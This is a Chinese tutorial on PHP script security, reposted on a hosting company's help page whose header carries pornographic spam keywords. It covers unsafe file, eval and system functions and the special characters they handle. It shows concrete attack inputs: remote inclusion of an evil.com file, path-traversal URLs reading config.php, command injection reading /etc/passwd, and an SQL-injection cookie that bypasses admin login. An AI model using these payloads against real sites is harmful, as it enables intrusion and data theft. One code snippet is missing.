无码视频在线观看,99人妻,国产午夜视频,久久久久国产一级毛片高清版新婚

  • 始創(chuàng)于2000年 股票代碼:831685
    咨詢熱線:0371-60135900 注冊有禮 登錄
    • 掛牌上市企業(yè)
    • 60秒人工響應(yīng)
    • 99.99%連通率
    • 7*24h人工
    • 故障100倍補(bǔ)償
    全部產(chǎn)品
    您的位置: 網(wǎng)站首頁 > 幫助中心>文章內(nèi)容

    重燃你的PHP安全之火

    發(fā)布時(shí)間:  2012/8/9 15:23:43
     關(guān)于腳本安全這個(gè)話題好像永遠(yuǎn)沒完沒了,如果你經(jīng)常到國外的各種各樣的bugtraq上,你會(huì)發(fā)現(xiàn)有一半以上都和腳本相關(guān),諸如SQL injection,XSS,Path Disclosure,Remote commands execution這樣的字眼比比皆是,我們看了之后的用途難道僅僅是抓肉雞?對于我們想做web安全的人來說,最好就是拿來學(xué)習(xí),可是萬物抓根源,我們要的不是魚而是漁。在國內(nèi),各種各樣的php程序1.0版,2.0版像雨后春筍一樣的冒出來,可是,大家關(guān)注的都是一些著名的cms,論壇,blog程序,很少的人在對那些不出名的程序做安全檢測,對于越來越多的php程序員和站長來說,除了依靠服務(wù)器的堡壘設(shè)置外,php程序本身的安全多少你總得懂點(diǎn)吧。

    有人說你們做php安全無非就是搞搞注入和跨站什么什么的,大錯(cuò)特錯(cuò),如果這樣的話,一個(gè)magic_quotes_gpc或者服務(wù)器里的一些安全設(shè)置就讓我們?nèi)珱]活路了。我今天要說的不是注入,不是跨站,而是存在于php程序中的一些安全細(xì)節(jié)問題。OK!切入正題。

    注意一些函數(shù)的過濾

    有些函數(shù)在程序中是經(jīng)常使用的,像include(),require(),fopen(),fwrite(),readfile(),unlink(),eval()以及它們的變體函數(shù)等等。這些函數(shù)都很實(shí)用,實(shí)用并不代表讓你多省心,你還得為它們多費(fèi)點(diǎn)心。

    1、include(),require()和fopen(),include_once(),require_once()這些都可以遠(yuǎn)程調(diào)用文件,對于它們的危害,google搜一下你就會(huì)很明了,對于所包含調(diào)用的變量沒過濾好,就可以任意包含文件從而去執(zhí)行。舉個(gè)例子,看print.php

    以下為引用的內(nèi)容:
    ... 
    if (empty ($bn) ) { //檢查是變量$bn是否為空 
    include ("$cfg_dir/site_${site}.php"); //把$cfg_dir這個(gè)路徑里的site_${site}.php包含進(jìn)來 
    ... 


    不管存不存在$cfg_dir目錄,$site這個(gè)變量你可以很自然的去使用,因?yàn)樗緵]檢查$site變量啊?梢园炎兞$site指定遠(yuǎn)程文件http://evil.com/cmd.gif去調(diào)用,也可以是本地的一個(gè)文件,你所指定的文件里寫上php的語句,然后它就去包含執(zhí)行這個(gè)含有php語句的文件了。

    列出文件目錄

    甚至可以擴(kuò)展到包含一些管理員文件,提升權(quán)限,典型的像以前phpwind,bo-blog的漏洞一樣。除了依靠php.ini里的allow_url_fopen設(shè)為off禁止遠(yuǎn)程使用文件和open_base_dir禁止使用目錄以外的文件外,你還得事先聲明好只能包含哪些文件,這里就不多說廢話了。

    2、fopen(),file(),readfile(),openfile(),等也是該特別留意的地方。函數(shù)本身并沒什么,它們的作用是去打開文件,可是如果對變量過濾不徹底的話,就會(huì)泄露源代碼。這樣的函數(shù)文本論壇里會(huì)有很多。

    以下為引用的內(nèi)容:
    ... 
    $articlearray=openfile("$dbpath/$fid/$tid.php"); //打開$dbpath/$fid這個(gè)路徑的$tid.php文件 
    $topic_detail=explode("|",$articlearray[0]); //用分割符|讀出帖子的內(nèi)容 
    ... 


    很眼熟吧,這是ofstar以前版本的read.php,$fid和$tid沒有任何過濾,$tid指定為某個(gè)文件提交,就發(fā)生了原代碼泄露。

    http://explame.com/ofstar/read.php?fid=123&tid=../index

    $tid會(huì)被加上php的后綴,所以直接寫index。這僅僅是個(gè)例子,接著看吧。

    3、fwrite()和它的變體函數(shù)這種漏洞想想都想得出,對于用戶提交的字符沒過濾的話,寫入一段php后門又不是不可以。

    4、unlink()函數(shù),前段時(shí)間,phpwind里任意刪除文件就是利用這個(gè)函數(shù),對于判斷是否刪除的變量沒過濾,變量可以指定為任意文件,當(dāng)然就可以刪除任意文件的變量。

    5、eval(),preg_replace()函數(shù),它們的作用是執(zhí)行php代碼,如果字符串沒被經(jīng)過任何過濾的話,會(huì)發(fā)生什么呢,我就?匆娨恍ヽms里面使用,想想,一句話的php木馬不就是根據(jù)eval()原理制作的嗎?

    6、對于system()這些系統(tǒng)函數(shù),你會(huì)說在php.ini里禁止系統(tǒng)函數(shù),對,這也是好辦法,可是象一些程序里需要,那是不是就不用了呢?就像上次我看到的一套很漂亮的php相冊一樣。另外對于popen(),proc_open(),proc_close()函數(shù)你也得特別注意,盡管他們執(zhí)行命令后并沒有直接的輸出,但你想這到底對黑客們有沒有用呢。再這里php提供提供了兩個(gè)函數(shù),escapeshellarg(),escapeshellcmd(),這兩個(gè)函數(shù)用來對抗系統(tǒng)函數(shù)的調(diào)用攻擊,也就是過濾。

    對于危害,來舉個(gè)例子,我們來看某論壇prod.php

    以下為引用的內(nèi)容:
    07 $doubleApp = isset($argv[1]); //初始化變量$doubleApp
    ... 
    14 if( $doubleApp ) //if語句 
    15 { 
    16 $appDir = $argv[1]; //初始化$appDir 
    17 system("mkdir $prodDir/$appDir"); //使用系統(tǒng)函數(shù)system來創(chuàng)建目錄$prodDir/$appDir 


    本來是拿來創(chuàng)建$prodDir/$appDir目錄的,再接著看上去,程序僅僅檢測是否存在$argv[1],缺少對$argv[1]的必要過濾,那么你就可以這樣 
    /prod.php?argv[1]=|ls%20-la或者/prod.php?argv[1]=|cat%20/etc/passwd(分割符 | 在這里是UNIX的管道參數(shù),可以執(zhí)行多條命令。)

    到這里,常見的漏洞類型應(yīng)該知道點(diǎn)了吧。

    對于特殊字符的重視

    對于特殊字符,有句話叫All puts is invalid.外國人文章里這句話很常見的。所有輸入都是有害的。你永遠(yuǎn)不要對用戶所輸入的東西省心,為了對付這些危害,程序員都在忙著過濾大把大把的字符,唯恐漏了什么。而有些程序員呢?好像從沒注意過這些問題,從來都是敞開漏洞大門的。不說廢話,還是先看看下面這些東西吧。

    1、其實(shí)程序的漏洞里最關(guān)鍵,最讓開發(fā)者放心不下的就是帶著$符號(hào)的美元符號(hào),變量,對于找漏洞的人來說,抓著變量兩個(gè)字就是一切。就像目錄遍歷這個(gè)bug,很多郵件程序都存在,開發(fā)者考慮的很周全,有的甚至加上了網(wǎng)絡(luò)硬盤這個(gè)東西,好是好,就像http://mail.com/file.php?id=1&put=list&tid=1&file=./

    要是我們把file這個(gè)變量換成./../甚至更上層呢?目錄就這樣被遍歷了。

    2、尖括號(hào)"<>"跨站你不會(huì)不知道吧,一些搜索欄里,文章,留言,像前段時(shí)間phpwind附件那里的跨站等等。當(dāng)然,對于跨站問題,你要過濾的遠(yuǎn)遠(yuǎn)不止尖括號(hào)。不怕過濾時(shí)漏掉什么,而是怕你想不起要去過濾。

    3、斜桿和反斜桿:對于/和\的過濾,記得魔力論壇的附件下載處的原代碼泄露嗎?

    attachment.php?id=684&u=3096&extension=gif&attach=.\..\..\..\..\..\..\includes\config.php&filename=1.gif

    對于過濾.. / \的問題,像windows主機(jī)不僅要過濾../還要過濾..\,windows主機(jī)對\會(huì)解析為/,這些細(xì)節(jié)跟SQL injection比起來,什么才叫深入呢?

    4、對于反引號(hào)(``),反引號(hào)在php中很強(qiáng)大,它可以執(zhí)行系統(tǒng)命令,就像system()這些系統(tǒng)函數(shù)一樣,如果用戶的惡意語句被它所執(zhí)行的話就會(huì)危害服務(wù)器,我想除了服務(wù)器設(shè)置的很好以外,對于它們,你還是老老實(shí)實(shí)的過濾好吧。

    5、對于換行符,NULL字符等等,像"\t,\x0B,\n,\r,\0這些,這些都是很有用的,像動(dòng)網(wǎng)以前的上傳漏洞就是因?yàn)樯蟼髦械腘ULL(\0)字符引起的,對于這些能隨意截?cái)喑绦蛄鞒痰淖址阏f我們在檢測的時(shí)候應(yīng)該有多細(xì)心呢?

    6、分號(hào)(;)和分割符(|)

    分號(hào)截?cái)喑绦蛄鞒,shell_exec("del ./yourpath/$file"); //使用系統(tǒng)函數(shù)shell_exec刪除文件$file

    變量$file沒指定,那么直接寫zizzy.php;del ./yourpath ,這樣你的yourpath目錄也就被del了。

    分割符(|)是UNIX里自帶的管道函數(shù),可以連接幾條命令來執(zhí)行。有時(shí)候加在過濾不嚴(yán)的系統(tǒng)函數(shù)中執(zhí)行。

    邏輯錯(cuò)誤

    驗(yàn)證不完全和一些邏輯錯(cuò)誤在程序里也很容易找到,特別是現(xiàn)在的程序員,只顧深入的學(xué)習(xí),而對于邏輯錯(cuò)誤等等這樣的安全意識(shí)都沒有培養(yǎng)的意識(shí),其實(shí)這是是靠自己去培養(yǎng),而不是等著人來報(bào)告bug給你。對于邏輯錯(cuò)誤的判斷,我們只能說,多練練吧,經(jīng)驗(yàn)才是最重要的。

    1、對于登陸驗(yàn)證的問題。舉個(gè)例子:我們看某論壇的admin.php片斷

    它這里username 和 password好像不對勁吧,存在管理員的username和password就直接通過驗(yàn)證,那就意味著沒有用戶名,沒密碼也行吧。我們提交

    以下為引用的內(nèi)GET /bbs/admin/index.php?page=general HTTP/1.1 
    Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, */* 
    Accept-Language: zh-cn 
    Accept-Encoding: gzip, deflate 
    User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Maxthon) 
    Host: 127.0.0.1 
    Connection: Keep-Alive 
    Cookie: username='or isnull(1/0) AND level=3/*; password=; 


    本文出自:億恩科技【mszdt.com】

    服務(wù)器租用/服務(wù)器托管中國五強(qiáng)!虛擬主機(jī)域名注冊頂級(jí)提供商!15年品質(zhì)保障!--億恩科技[ENKJ.COM]

  • 您可能在找
  • 億恩北京公司:
  • 經(jīng)營性ICP/ISP證:京B2-20150015
  • 億恩鄭州公司:
  • 經(jīng)營性ICP/ISP/IDC證:豫B1.B2-20060070
  • 億恩南昌公司:
  • 經(jīng)營性ICP/ISP證:贛B2-20080012
  • 服務(wù)器/云主機(jī) 24小時(shí)售后服務(wù)電話:0371-60135900
  • 虛擬主機(jī)/智能建站 24小時(shí)售后服務(wù)電話:0371-60135900
  • 專注服務(wù)器托管17年
    掃掃關(guān)注-微信公眾號(hào)
    0371-60135900
    Copyright© 1999-2019 ENKJ All Rights Reserved 億恩科技 版權(quán)所有  地址:鄭州市高新區(qū)翠竹街1號(hào)總部企業(yè)基地億恩大廈  法律顧問:河南亞太人律師事務(wù)所郝建鋒、杜慧月律師   京公網(wǎng)安備41019702002023號(hào)
      1
     
     
     
     

    0371-60135900
    7*24小時(shí)客服服務(wù)熱線